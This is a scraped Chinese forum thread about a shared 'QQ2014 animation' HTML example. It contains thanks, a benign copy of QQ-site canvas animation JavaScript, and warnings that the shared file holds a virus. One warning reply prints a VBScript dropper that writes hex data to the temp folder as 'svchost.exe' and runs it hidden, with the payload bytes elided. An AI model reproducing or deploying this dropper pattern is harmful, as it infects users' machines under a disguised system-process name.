开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

楼主: 1440126177
收起左侧

[易源码分享] QQ2014动画html特效读取例程,不是GIF!

[复制链接]
发表于 2015-2-7 23:44:02 | 显示全部楼层   广东省潮州市
谢谢分享 虽然用不到。
回复 支持 反对

使用道具 举报

结帖率:73% (8/11)
发表于 2015-2-7 23:21:56 | 显示全部楼层   河北省唐山市
这个我也里面有病毒代码--千万别运行
回复 支持 反对

使用道具 举报

发表于 2015-2-7 20:27:59 | 显示全部楼层   广东省阳江市
电脑管家提示风险!!!!!
DropFileName = "svchost.exe"
WriteData = "此处省略“
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
小心(我居然调试了{:soso_e109:})
回复 支持 反对

使用道具 举报

发表于 2015-2-7 20:12:31 | 显示全部楼层   广东省阳江市
之前我也弄过,代码如下:
<HTML lang="en"><META charset="UTF-8"><boby>
<div class="mpage" id="container">
  <div class="anitOut" id="anitOut"> </div>
</div>
<link href="http://im-img.qq.com/pcqq/css/210/pc_6_0.css" rel="stylesheet" type="text/css">
<script src="http://im-img.qq.com/pcqq/js/150/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">$(function(){$.fn.bannerShow=function(g){g=jQuery.extend({wraper:"fshow",autotime:6000,isAuto:true,ind:0,changeColor:null},g||{});return this.each(function(){var o;var n=0;var i=this;var j=$("#bnav"),k=$("li",j);var h=[["#002c4a","#005584"],["#35ac03","#3f4303"],["#ac0908","#cd5726"],["18bbff","#00486b"]];$(this).hover(function(){g.isAuto=false},function(){g.isAuto=true});m(0);k.each(function(p,q){$(q).mouseover(function(){n=p;k.removeClass().eq(n).addClass("current");m(n)})});o=setInterval(function(){if(!g.isAuto){return false}k.each(function(p,q){if($(q).hasClass("current")){n=p}m(n)});if(n==k.size()-1){n=0;m(n);k.removeClass().eq(n).addClass("current")}else{n+=1;m(n);k.removeClass().eq(n).addClass("current")}},g.autotime);function m(p){$(".banners",i).hide();$(".banners",i).eq(p).show();if(g.changeColor){g.changeColor(h[p]).set()}}})};if(!!document.createElement("canvas").getContext){$.getScript("http://im-img.qq.com/pcqq/js/200/cav.js",function(){var t={width:1.5,height:1.5,depth:10,segments:12,slices:6,xRange:0.8,yRange:0.1,zRange:1,ambient:"#525252",diffuse:"#FFFFFF",speed:0.0002};var G={count:2,xyScalar:1,zOffset:100,ambient:"#002c4a",diffuse:"#005584",speed:0.001,gravity:1200,dampening:0.95,minLimit:10,maxLimit:null,minDistance:20,maxDistance:400,autopilot:false,draw:false,bounds:CAV.Vector3.create(),step:CAV.Vector3.create(Math.randomInRange(0.2,1),Math.randomInRange(0.2,1),Math.randomInRange(0.2,1))};var m="canvas";var E="svg";var x={renderer:m};var i,n=Date.now();var L=CAV.Vector3.create();var k=CAV.Vector3.create();var z=document.getElementById("container");var w=document.getElementById("anitOut");var D,I,h,q,y;var g;var r;function C(){F();p();s();B();v();K(z.offsetWidth,z.offsetHeight);o()}function F(){g=new CAV.CanvasRenderer();H(x.renderer)}function H(N){if(D){w.removeChild(D.element)}switch(N){case m:D=g;break}D.setSize(z.offsetWidth,z.offsetHeight);w.appendChild(D.element)}function p(){I=new CAV.Scene()}function s(){I.remove(h);D.clear();q=new CAV.Plane(t.width*D.width,t.height*D.height,t.segments,t.slices);y=new CAV.Material(t.ambient,t.diffuse);h=new CAV.Mesh(q,y);I.add(h);var N,O;for(N=q.vertices.length-1;N>=0;N--){O=q.vertices[N];O.anchor=CAV.Vector3.clone(O.position);O.step=CAV.Vector3.create(Math.randomInRange(0.2,1),Math.randomInRange(0.2,1),Math.randomInRange(0.2,1));O.time=Math.randomInRange(0,Math.PIM2)}}function B(){var O,N;for(O=I.lights.length-1;O>=0;O--){N=I.lights[O];I.remove(N)}D.clear();for(O=0;O<G.count;O++){N=new CAV.Light(G.ambient,G.diffuse);N.ambientHex=N.ambient.format();N.diffuseHex=N.diffuse.format();I.add(N);N.mass=Math.randomInRange(0.5,1);N.velocity=CAV.Vector3.create();N.acceleration=CAV.Vector3.create();N.force=CAV.Vector3.create()}}function K(O,N){D.setSize(O,N);CAV.Vector3.set(L,D.halfWidth,D.halfHeight);s()}function o(){i=Date.now()-n;u();M();requestAnimationFrame(o)}function u(){var Q,P,O,R,T,V,U,S=t.depth/2;CAV.Vector3.copy(G.bounds,L);CAV.Vector3.multiplyScalar(G.bounds,G.xyScalar);CAV.Vector3.setZ(k,G.zOffset);for(R=I.lights.length-1;R>=0;R--){T=I.lights[R];CAV.Vector3.setZ(T.position,G.zOffset);var N=Math.clamp(CAV.Vector3.distanceSquared(T.position,k),G.minDistance,G.maxDistance);var W=G.gravity*T.mass/N;CAV.Vector3.subtractVectors(T.force,k,T.position);CAV.Vector3.normalise(T.force);CAV.Vector3.multiplyScalar(T.force,W);CAV.Vector3.set(T.acceleration);CAV.Vector3.add(T.acceleration,T.force);CAV.Vector3.add(T.velocity,T.acceleration);CAV.Vector3.multiplyScalar(T.velocity,G.dampening);CAV.Vector3.limit(T.velocity,G.minLimit,G.maxLimit);CAV.Vector3.add(T.position,T.velocity)}for(V=q.vertices.length-1;V>=0;V--){U=q.vertices[V];Q=Math.sin(U.time+U.step[0]*i*t.speed);P=Math.cos(U.time+U.step[1]*i*t.speed);O=Math.sin(U.time+U.step[2]*i*t.speed);CAV.Vector3.set(U.position,t.xRange*q.segmentWidth*Q,t.yRange*q.sliceHeight*P,t.zRange*S*O-S);CAV.Vector3.add(U.position,U.anchor)}q.dirty=true}function M(){D.render(I)}function J(O){var Q,N,S=O;var P=function(T){for(Q=0,l=I.lights.length;Q<l;Q++){N=I.lights[Q];N.ambient.set(T);N.ambientHex=N.ambient.format()}};var R=function(T){for(Q=0,l=I.lights.length;Q<l;Q++){N=I.lights[Q];N.diffuse.set(T);N.diffuseHex=N.diffuse.format()}};return{set:function(){P(S[0]);R(S[1])}}}function v(){window.addEventListener("resize",j)}function A(N){CAV.Vector3.set(k,N.x,D.height-N.y);CAV.Vector3.subtract(k,L)}function j(N){K(z.offsetWidth,z.offsetHeight);M()}C();$("#fshow").bannerShow({changeColor:J})})}else{$("#fshow").bannerShow()}$("#copytime").html((new Date()).getFullYear());$("#ovpage").click(function(g){g.preventDefault();$("html, body").animate({scrollTop:$("#container").height()},1000)});var c=function(){};if(typeof(pgvMain)!="function"){var f="http://pingjs.qq.com/tcss.ping.js?v=1";$.getScript(f,function(){if(typeof(pgvMain)=="function"){pgvMain()}c=pgvSendClick;$(".forTcss").click(function(){var g=$(this).attr("name");var h=window.setTimeout(function(){c({hottag:g})},500)})})}window.online_resp=function(g){if(g&&g.c){$("#cur_online").text(g.c.toString().replace(/(\d)(?=(\d{3})+(?!\d))/g,"$1,"));$("#max_online").text(g.h.toString().replace(/(\d)(?=(\d{3})+(?!\d))/g,"$1,"))}};$.getJSON("http://mma.qq.com/cgi-bin/im/online&callback=?",function(g){});swfobject.embedSWF("http://im.qq.com/online/flash/flash20140304.swf","flashBox","910","700","9.0.0","expressInstall.swf");$("#viewOnline").click(function(g){g.preventDefault();$("#flashDiv").show();$("#overlay").show();$("#overlay").css({height:$(document).height()});c({hottag:"pcqq.openflash"})});$("#flashClose").click(function(g){g.preventDefault();$("#flashDiv").hide();$("#overlay").hide()});$("#flashZone").click(function(){var h=($(window).width()-615)/2,g=($(window).height()-713)/2;window.open("http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http%3A%2F%2Fim.qq.com%2F&showcount=1&desc=%E4%BA%BF%E4%B8%87%E4%B8%AA%E9%97%AA%E8%80%80%E6%98%9F%E5%85%89%E8%83%8C%E5%90%8E%EF%BC%8C%E6%98%AF%E6%9C%8B%E5%8F%8B%EF%BC%8C%E6%98%AF%E5%AE%B6%E4%BA%BA%EF%BC%8C%E6%98%AF%E7%88%B1%E4%BA%BA%E2%80%A6%E2%80%A6%E7%99%BB%E5%BD%95QQ%EF%BC%8C%E4%B8%BA%E4%BB%96%EF%BC%88%E5%A5%B9%EF%BC%89%E7%82%B9%E4%BA%AE%E4%BD%A0%E7%9A%84%E9%82%A3%E9%A2%97%E6%98%9F%E3%80%82&summary=&title=&site=IM%20QQ%20-%20QQ%E5%AE%98%E6%96%B9%E7%BD%91%E7%AB%99&pics=http%3A%2F%2Fim-img.qq.com%2Fhome%2Fimg%2Fq2013%2Fyun.png&style=203&width=98&height=22&otype=share","_blank","toolbar=yes, location=yes, directories=no, status=no, menubar=yes, scrollbars=yes, resizable=no, copyhistory=yes, width=615, height=363, left="+h+", top="+g);c({hottag:"pcqq.sharetozone"})});$("#flashWeibo").click(function(){window.open("http://share.v.t.qq.com/index.php?c=share&a=index&url=http%3A%2F%2Fim.qq.com%2F&title=%E4%BA%BF%E4%B8%87%E4%B8%AA%E9%97%AA%E8%80%80%E6%98%9F%E5%85%89%E8%83%8C%E5%90%8E%EF%BC%8C%E6%98%AF%E6%9C%8B%E5%8F%8B%EF%BC%8C%E6%98%AF%E5%AE%B6%E4%BA%BA%EF%BC%8C%E6%98%AF%E7%88%B1%E4%BA%BA%E2%80%A6%E2%80%A6%E7%99%BB%E5%BD%95QQ%EF%BC%8C%E4%B8%BA%E4%BB%96%EF%BC%88%E5%A5%B9%EF%BC%89%E7%82%B9%E4%BA%AE%E4%BD%A0%E7%9A%84%E9%82%A3%E9%A2%97%E6%98%9F%E3%80%82&pic=http%3A%2F%2Fim-img.qq.com%2Fhome%2Fimg%2Fq2013%2Fyun.png&appkey=","_blank","toolbar=yes, location=yes, directories=no, status=no, menubar=yes, scrollbars=yes, resizable=no, copyhistory=yes, width=615, height=363");c({hottag:"pcqq.sharetoweibo"})});var d=$(".ipage");var e=[],b=[];$(d).each(function(g,h){e[g]=$(h).offset().top+Math.floor($(h).height()/2);b[g]=$(h).find(".imgwrap")});var a=$(window).height();$(window).resize(function(){a=$(window).height()});$(window).scroll(function(){var g=$(window).scrollTop();$(e).each(function(h,j){if(Math.floor(a/2)+g>=j){if(!$(b[h]).hasClass("showbg")){$(b[h]).addClass("showbg")}}})})});</script>
</body></html>

红色部分复制到文本文件再改后缀名(.html)
回复 支持 反对

使用道具 举报

结帖率:44% (22/50)
发表于 2015-2-7 20:00:27 | 显示全部楼层   浙江省嘉兴市
看看是不是牛逼
回复 支持 反对

使用道具 举报

签到天数: 1 天

发表于 2015-2-7 19:52:06 | 显示全部楼层   山东省菏泽市
我看看!!!!!!!!!
回复 支持 反对

使用道具 举报

结帖率:100% (33/33)
发表于 2015-2-7 19:48:24 | 显示全部楼层   广东省汕头市
我看看!!!!!!!!!!
回复 支持 反对

使用道具 举报

结帖率:71% (5/7)
发表于 2015-2-7 19:46:00 | 显示全部楼层   福建省泉州市
支持一下,膜拜大婶
回复 支持 反对

使用道具 举报

结帖率:89% (157/176)
发表于 2015-2-7 19:28:10 | 显示全部楼层   广东省佛山市
这都给你写出来,首创么
回复 支持 反对

使用道具 举报

结帖率:100% (4/4)
发表于 2015-2-7 19:04:55 | 显示全部楼层   山东省威海市
谢谢分享啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表